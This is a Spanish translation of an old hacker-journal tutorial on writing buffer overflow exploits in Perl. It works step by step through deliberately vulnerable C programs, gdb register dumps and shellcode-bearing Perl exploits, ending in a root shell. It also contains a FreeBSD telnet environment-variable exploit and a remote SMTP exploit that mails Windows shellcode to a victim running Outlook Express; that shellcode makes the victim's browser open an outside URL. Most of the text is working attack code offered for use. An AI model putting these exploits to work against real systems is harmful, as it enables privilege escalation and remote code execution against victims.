


                     -+-| DisidentS Hack Journal #3 |-+-





  __________________________________________________________________________
 |                                                                          |
 |  -+- Titulo_____: Buffer Overflows en Perl [008.txt]                     |
 |  -+- Autor______: Taseh (traduccion).                                    |
 |  -+- E-Mail_____: <taseh@gmx.net>                                        |
 |  -+- Team_______: DisidentS Espaa - http://www.disidents.int-ltd.com    |
 |  -+- KB_________: 19.3                                                   |
 |  -+- Tema_______: Artesania                                              |
 |__________________________________________________________________________|

             Escribiendo exploits - Con perspectivas en PERL

                           dethy@synnergy.net

Introduccion

Los exploits basados en buffer overflow  escritos  en  PERL,  no  estan  tan 
trabajados como los exploits  en  C . Este breve texto tratara sobre maneras 
que se pueden utilizar en  perl  para  crear un exploit, con mayor facilidad 
que hacer un  exploit  en  C.  Despues  de  todo,  PERL  fue  creado para la 
manipulacion de datos, porque no lo usamos para ello? ;).

Descripcion

Empecemos con un simple y popular ejemplo:

-- vuln.c --
 #include <stdio.h> 
 int main(int argc, char **argv) {  
 char buffer[180];
 if(argc>1) 
 strcpy(buffer,argv[1]);
 printf("got data!\n"); 
}

-- end vuln.c --

El error de overflow es obvio. Una copia  directa sin chequear el limite en 
el 'buffer' permite que el overflow tome  forma y reescriba la direccion de 
memoria EIP.

 [ dethy@fw ~ ]$ gcc -o vuln vuln.c
 [ dethy@fw ~ ]$ ./vuln A
 got data!


Nada interesante. Incrementemos los datos de entrada.

[dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x184'` 
got data!
Segmentation fault(core dump)

Aqui vemos como hemos  overfloweado  el  buffer, pero tenemos que reescribir
el EIP para  modificar  la   ejecucion  del  programa  mas tarde, entendido?

Es importante recordar que la memoria tiene una direccion de 4 bytes llevada
a cabo en 1 byte char.

Ejemplo: 

| 83 | -- 
| 84 | --  4 bytes de la direccion de memoria del 1er almacenador de datos
| 85 | --
| 86 | --

| 87 |   --
| 88 |   -- Otros 4 bytes para la direccion siguiente
| 89 |   --
| 90 |   --


Volvamos atras hasta el dibujito de la mmoria, forzamos el programa a
dumpear.

[ dethy@fw ~ ]$ gdb vuln core --quiet
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x40033a1e in __libc_start_main () from /lib/libc.so.6
(gdb) info reg
eax            0x400ff0d8       1074786520
ecx            0xbffff910       -1073743600
edx            0x1      1
ebx            0x400ffed4       1074790100
esp            0xbffff908       0xbffff908
ebp            0x41414141       0x41414141
esi            0x4000acb0       1073786032
edi            0xbffff954       -1073743532
eip            0x40033a1e       0x40033a1e
eflags         0x10292  66194
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43

Los registros mas importantes son conocidos como:

  * esp - extended stack pointer
  * ebp - extended base pointer
  * eip - extended instruction pointer

Como podemos ver, EIP no fue sobreescrito, pero EBP si.
Ahora, sabemos el que estado de la memoria es parecido a esto:

    __|__
   |     |
   | EBP | - Direccion de 4 bytes.
   |_____|
    __|__
   |     |
   | EIP | - Proxima direccion de 4 bytes.
   |_____|


Sabemos bien que si aadimos 4 bytes extra de datos a nuestra entrada
string ie ./vuln `perl -e 'print' "A"x88'` sobreescribiremos completamente
el puntero de instruccion (eip).

 [ dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x88'`  
 got data!
 Segmentation fault (core dumped)

[ dethy@fw ~ ]$ gdb vuln core --quiet
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) info reg 
eax            0xa      10
ecx            0x40014000       1073823744
edx            0x400fe660       1074783840
ebx            0x400ffed4       1074790100
esp            0xbffff910       0xbffff910
ebp            0x41414141       0x41414141
esi            0x4000acb0       1073786032
edi            0xbffff954       -1073743532
eip            0x41414141       0x41414141
eflags         0x10282  66178
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43

Nuestra prediccion es correcta. El 0x41 es el equivalente en hexadecimal
de "A", la reescritura completa ha salido bien.

Nuestro buffer ahora se parece a esto:

        EIP
   ______|_______
  /    |    |    \
 187  188  189  190
  A     A    A    A    -> Nuestros datos de entrada
  41   41   41   41    -> Direccion hexadecimal( 41414141 )


Ahora, como creamos el exploit ?
El primer paso es tener el valor de  ESP,  en este caso el valor de ESP es
0xbffff910. Creamos una shellcode que ejecute la shell /bin/sh, llena $buf
con la longitud de datos que  necesitamos  para reescribir EIP, y $ret von 
el valor de ESP.

-- exp.pl --

 #!/usr/bin/perl
 $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
	      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
	      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
 	      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 $ret = 0xbffffaa0;
 $buf = 188;
 $egg = 2000;
 $nop = "\x90";
 $offset = 0; 

 if (@ARGV == 1) { $offset = $ARGV[0]; }

 $addr = pack('l', ($ret + $offset));
 for ($i = 0; $i < $buf; $i += 4) {
  $buffer .= $addr;
 }

 for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) {
  $buffer .= $nop;
 }

 $buffer .= $shellcode;

 exec("./vuln", $buffer,0);

-- end exp.pl --

 [ dethy@fw ~ ]$ perl exp.pl
 got data!
 Illegal instruction

Ouch. Mira como hemos de la sehll /bin/sh. Ahora, pongamos $offset para
usar un rango, para que nuestra shellcode se ponga en la memoria.
Ejecuta el siguiente script para obtener el ofset correcto para explotar la
shell. 

 #!/usr/bin/perl
 for($i=-2000;$i<2000;$i++) {    
 print("trying offset: $i\n");
 system("ulimit -c 0;./exp.pl $i");            
 }   

 [ dethy@fw ~ ]$ perl brute.pl 
 trying offset: -2000
 got data!
 trying offset: -1999
 got data!
  ..
 trying offset: 100
 bash#

(por supuesto, si el programa tiene suid, it would drop us to root, para
el proposito de este texto. I made the vulnerable program setuid root).

El offset 100 es donde esta nuestro payload. Aadamos esto a el 'exp.pl' 
inicial.

 [ dethy@fw ~ ]$ id
 uid=511(dethy) gid=100(users) groups=100(users)
 [ dethy@fw ~ ]$ ./exp.pl 100
 got data!
 bash# id
 uid=0(root) gid=100(users) egid=0(root) groups=100(users)

Bingo. Como podemos ver, encontramos la direccion de /bin/sh en memoria.

No esta de mas apreciar  que  el  exploit  hizo un $egg y lleno el buffer, 
conteniendo NOPS + SHELLCODE  +  RET  fuera del buffer vulnerable. Creamos 
el payload en otro buffer, puesto que el original pudo haber sido demasia-
do pequeo para nuestras necesidades.

Ahora un ejemplo de un overflow en una variable de entorno, en comparacion
con el overflow de la entrada de la linea de comandos.

-- vuln2.c --

#include <stdio.h>
 main() {
  char buffer[1024];
   if (getenv("USER") == NULL) {
   fprintf(stderr, "Oops!\n");  
   exit(1); 
   } 

 strcpy(buffer, (char *)getenv("USER"));
 printf("Environment variable USER is:\"%s\".\n", buffer);
 return 1;}

-- end vuln2.c --

Una excesivamente larga  variable  de  usuario sera copiada no chekeada
en el buffer que tiene  como limite 1024 caracteres. Sabido esto, vamos
a empezar con lo practico.

 [ dethy@fw ~ ]$ ./vuln2
 Environment variable USER is: "dethy".
 [ dethy@fw ~ ]$

Assumed:
1025 1026 1027 1028 would be the address of EBP
1029 1030 1031 1032 would be the EIP

Si ponemos mas de 1032 char string para la variable de entorno USER
sobreescribira EIP.

 [ dethy@fw ~ ]$ export USER=`perl -e 'print "A"x1032'`

 [ dethy@fw ~ ]$ ./vuln2
 Environment variable USER is:
 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".

Segmentation fault (core dumped)

 [ dethy@fw ~ ]$ gdb vuln2 core --quiet
 (no debugging symbols found)...Core was generated by `./vuln2'.
 Program terminated with signal 11, Segmentation fault.
 Reading symbols from /lib/libc.so.6...done.
 Reading symbols from /lib/ld-linux.so.2...done.
 #0  0x41414141 in ?? ()
 (gdb) info reg esp
 esp            0x7ffff8e0       0x7ffff8e0

La direccion ESP es la direccion  que usaremos en nuestro exploit, por lo
tanto, vamos a crearla. El tan mencionado exp.pl es un exploit de ejemplo
de crear la payload fuera del buffer  (descubierto por el famoso aleph1).
Ahora, puesto que el buffer  vulnerable  es bastante grande para rellenar
con nuestra shellcode, llenaremos este  buffer con nuestra payload dentro
del buffer.

-- exp2.pl --

 #!/usr/bin/perl
 $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
	     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" .
	     "\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
	     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" .
	     "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
 	     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 $buf = 1032;                   # Tamao del buffer
 $ret = 0x7ffff8e0;
 $nop = "\x90";                 # NOP x86
 $offset = -96; 		# Trabajado para mi

 if (@ARGV == 1) { $offset = $ARGV[0]; }

 for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
  $buffer .= $nop;
 }

 $buffer .= $shellcode;
 $addr = pack('l', ($ret + $offset));
 for ($i += length($shellcode); $i < $buf; $i += 4) {
  $buffer .= $addr;
 }
 $ENV{'USER'} = $buffer; exec("./vuln2");

-- end exp2.pl --

Environment variable USER is:
"












11۰".

bash# 

Otra cosa importante a recordar es que el offset que adivinamos puede
evitar eliminar todos los valores desde el entorno

Ejemplo:

 foreach $key (keys %ENV) {
    delete $ENV{$key};
 }

Por supuesto este situacion en una variable de entorno es el overflow de
 getenv() descrito abajo.


-- telnetex.pl --

 $egg = "\x90" x 1500;
 # FreeBSD x86 shellcode
 $egg .= "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76" .
         "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b" .
         "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff" .
         "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff" .
         "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02" .
         "\x02\x02\x02/bin/sh.-c.sh";

 foreach $key (keys %ENV) {
    delete $ENV{$key};
 }

 for ($i = 0; $i < 100; $i++) { $buf .= "\x01\xda\xbf\xbf"; }

 $ENV{"DISPLAY"} = $buf;
 $ENV{"egg"} = $egg;
 system("/usr/bin/telnet localhost");

-- end telnetex.pl --


El ejemplo de arriba nos muestra un estilo de escritura diferente. $egg
agrega los NOPs (\x90) y la shellcode via PERL 'concatenation implemen-
tation( .= ). $buf es cargado a la inversa (como el sistema normalmente
procesa las direcciones).

 \x01\xda\xbf\xbf = 0xbfbfda01

La variable dispositivo es despues cargada con este valor, y cuando se
produzcan negociaciones cliente/servudir el dispositivo funciona apun-
tando $egg en memoria, donde nuestra shellcode esta almacenada. 

Porque crear $egg despues de todo, hemos aadido el payload a $buf?

En muchos casos el buffer que estamos  desbordando no tiene suficiente
espacio para almacenar  la  shellcode  en el (local buffer overflows).
Para arreglar este problema con buffers pequeos, creamos un $egg y lo
ponemos como variable de entorno. $egg sin limitaciones d tamao puede
ser mas grande o mas pequeo, segun lo que necesites para almacenar tu
shellcode. Despues, la  necesita  el  puntero; el $ret para apuntar la
direccion donde $egg es alamcenado y donde la shellcode sera ejecutada
Solo unos pocos bytes son necesitados para almacenar la direccion $ret 
en el buffer, solucionando problemas importanyes. ;)

El proximo ejemplo es un exploit que yo cree para UssrLabs, el exploit
hace funcionar un navegador IE en la maquina de la victima, el exploit
funciona debido a que existe un overflow en la cabezera MIME de Outlok
Express 4.x y 98.

-- outoutlook.pl --

 #!/usr/bin/perl
 #
 # Arbitary shellcode injector over SMTP exploits Microsoft Outlook.
 # ./$0 -h <host> -m <mail>
 # ./dieoutlook.pl -h host -m victim@address 
 #
 # Por: dethy, Junio del 2000
 #
 use Getopt::Std;
 use Socket;
 getopt('h:m', \%args);   

 if(defined($args{h})){$serv=$args{h}}else{&usage;}
 if(defined($args{m})){$rcpt=$args{m}}else{&usage;}

 # Estos datos son los que causan el overflow
 $spawn = "\x2b\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
	  "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
	  "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
	  "\x31\x31\x31\x31\x31\x31\x31\x31\x5a\xdc\xae\x20\x78\x0d\x0a";

 # Windows x86 shellcode
 $shellcode = "\xE8\x00\x00\x00\x00\x5D\x81\xED\x40\x10\x40\x00\x81\xC4\x00" .
 	 "\x03\x00\x00\xB8\x38\x10\x00\x01\x8B\x00\x89\x85\x0B\x11\x40\x00" .
 	 "\x8C\xC8\xA8\x04\x75\x08\x8B\x85\x1F\x11\x40\x00\xEB\x06\x8B\x85" .
	 "\x23\x11\x40\x00\x89\x85\x1F\x11\x40\x00\x8D\x8D\x42\x11\x40\x00" .
	 "\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x0F\x11\x40\x00\x8D\x8D" .
	 "\x53\x11\x40\x00\x51\xFF\x95\x0F\x11\x40\x00\x8D\x8D\x34\x11\x40" .
	 "\x00\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x13\x11\x40\x00\x8B" .
	 "\x85\x1F\x11\x40\x00\x8D\x8D\x27\x11\x40\x00\x51\x50\xFF\x95\x0B" .
	 "\x11\x40\x00\x89\x85\x17\x11\x40\x00\x8D\x85\x1B\x11\x40\x00\x50" .
	 "\x6A\x00\x6A\x00\x8D\x85\xE3\x10\x40\x00\x50\x6A\x00\x6A\x00\x8B" .
	 "\x85\x17\x11\x40\x00\xFF\xD0\xEB\xFE\x60\xE8\x00\x00\x00\x00\x5D" .
	 "\x81\xED\xE9\x10\x40\x00\x6A\x00\x6A\x00\x6A\x00\x8D\xB5\x5F\x11" .
	 "\x40\x00\x56\x6A\x00\x6A\x00\xFF\x95\x13\x11\x40\x00\x61\xC2\x10" .
	 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
	 "\x00\x00\x00\x00\x00\x00\x00\xF0\x77\x00\x00\xF7\xBF\x43\x72\x65" .
	 "\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x53\x68\x65\x6C\x6C\x45" .
	 "\x78\x65\x63\x75\x74\x65\x41\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C" .
	 "\x65\x48\x61\x6E\x64\x6C\x65\x41\x00\x73\x68\x65\x6C\x6C\x33\x32" .
	 "\x2E\x64\x6C\x6C\x00\x77\x77\x77\x2E\x75\x73\x73\x72\x62\x61\x63" .
	 "\x6B\x2E\x63\x6F\x6D\x00";

 $ret = 00aedc5a;					# Sentencia de retorno
 $nop = "\x90";						# NOP para x86
 $port = 25;						# Puerto STMP, por defecto 25
 $buffsize = 1348;					# Tamao del buffer
 $buffer .= $nop x 945;					# Carga $buffer con 945 NOP's 
 $shellcode
 $buffer .= $shellcode;					# Aade la shellcode al buffer.
 $offset = (hex $ret);					# Retorno hex string para el valor correspondiente
 $code = pack("l", $offset);				# Orden signed long
 while (length $buffer < $buffsize) { $buffer .= $code; }
 $buffer .= "\n\n";
 print "$code\n";

# create random MAIL FROM field. format is: [ alphanumeric ] @ [ characters ] . [ domain ]

 $max=(int rand 15);
 @a=('a'..'z', '1'..'10'); for (1..$max) { $str .= $a[rand @a] }
 @a=('a'..'z'); for (1..$max) { $host .= $a[rand @a] }
 @dom = ('.com', '.net', '.org');
 $rdom = $dom[ rand @dom ];
 $rmail = $str . "@" . $host . $dom;
 print "random address set to: $rmail\n";

 # Metodo alatorio de fechas, formato: Fecha: <dia>, <num-dia> <mes> 2000 <hora>

 @days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun');
 $rday = $days[ rand @days ];
 $rcal=(int rand(31));
 $rhour=(int rand(23)); if ($rhour < 10){ $rhour = "0".$rhour; }
 $rmin=(int rand(59)); if ($rmin < 10){ $rmin = "0".$rmin; }
 $rsec=(int rand(59)); if ($rsec < 10){ $rsec = "0".$rsec; }
 @months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Oct', 'Sep', 'Nov', 'Dec');
 $rmonth = $months[ rand @months ];
 $date = "Date: ".$rday.","; if ( $rcal >9 ){$date = $date."$rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
 else { $date = $date." $rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
 print "date set to: $date\n";

 $in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
 $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
 $proto = getprotobyname('tcp') || die("Error: $!\n");

 socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
 connect(S, $paddr) || die("Error: $!\n");
 select(S); $| = 1; select(STDOUT);

 # Empiezan nuestras transacciones SMTP
 print "now starting SMTP transaction\n";
 $res=<S>; print "$res\n";
 print "sending HELO\n";
 sleep 2;
 print S "HELO\r\n";
 $res=<S>; print "$res\n";
 print "sending MAIL FROM\n";
 sleep 2;
 print S "MAIL FROM:$rmail\r\n";
 $res=<S>; print "$res\n";
 print "sending RCPT\n";
 sleep 2;
 print S "RCPT TO:$rcpt\r\n";
 $res=<S>; print "$res\n";
 print "sending DATA\n";
 sleep 2;
 print S "DATA\r\n";
 $res=<S>; print "$res\n";
 print "sending escape characters\n";
 print S "$date";
 print S "$spawn";
 print "sending shellcode\n";
 print S "$shellcode\r\n\r\n\r\n";
 $res=<S>; print "$res\n";
 print S ".\r\n";
 print S "QUIT\r\n";
 print "shellcode spawn was successful\n";
 close(S);

 sub usage {die("\n\n./$0 -h <hostname> -m <mail>\n\n");}

-- end outoutlook.pl --

Estoy seguro de que  ahora  entiendes  porque  perl tiene una flexibilidad
y una buena  utilidad  para  la  manipulacion  de  datos buenisimas, mucho
mejor que C, y puede y es facil para la explotacion de bugs.

Espero que hayas entendido el contenido de este texto ;)

----------------------------------------------------------------------
dethy [ dethy@synnergy.net | www.synnergy.net ]
          [ Synnergy Networks 1998 - 2001 ]

*** Fin de traduccion ***

[ Saludos a todos. Taseh <taseh@x0und.net> - http://www.x0und.net ]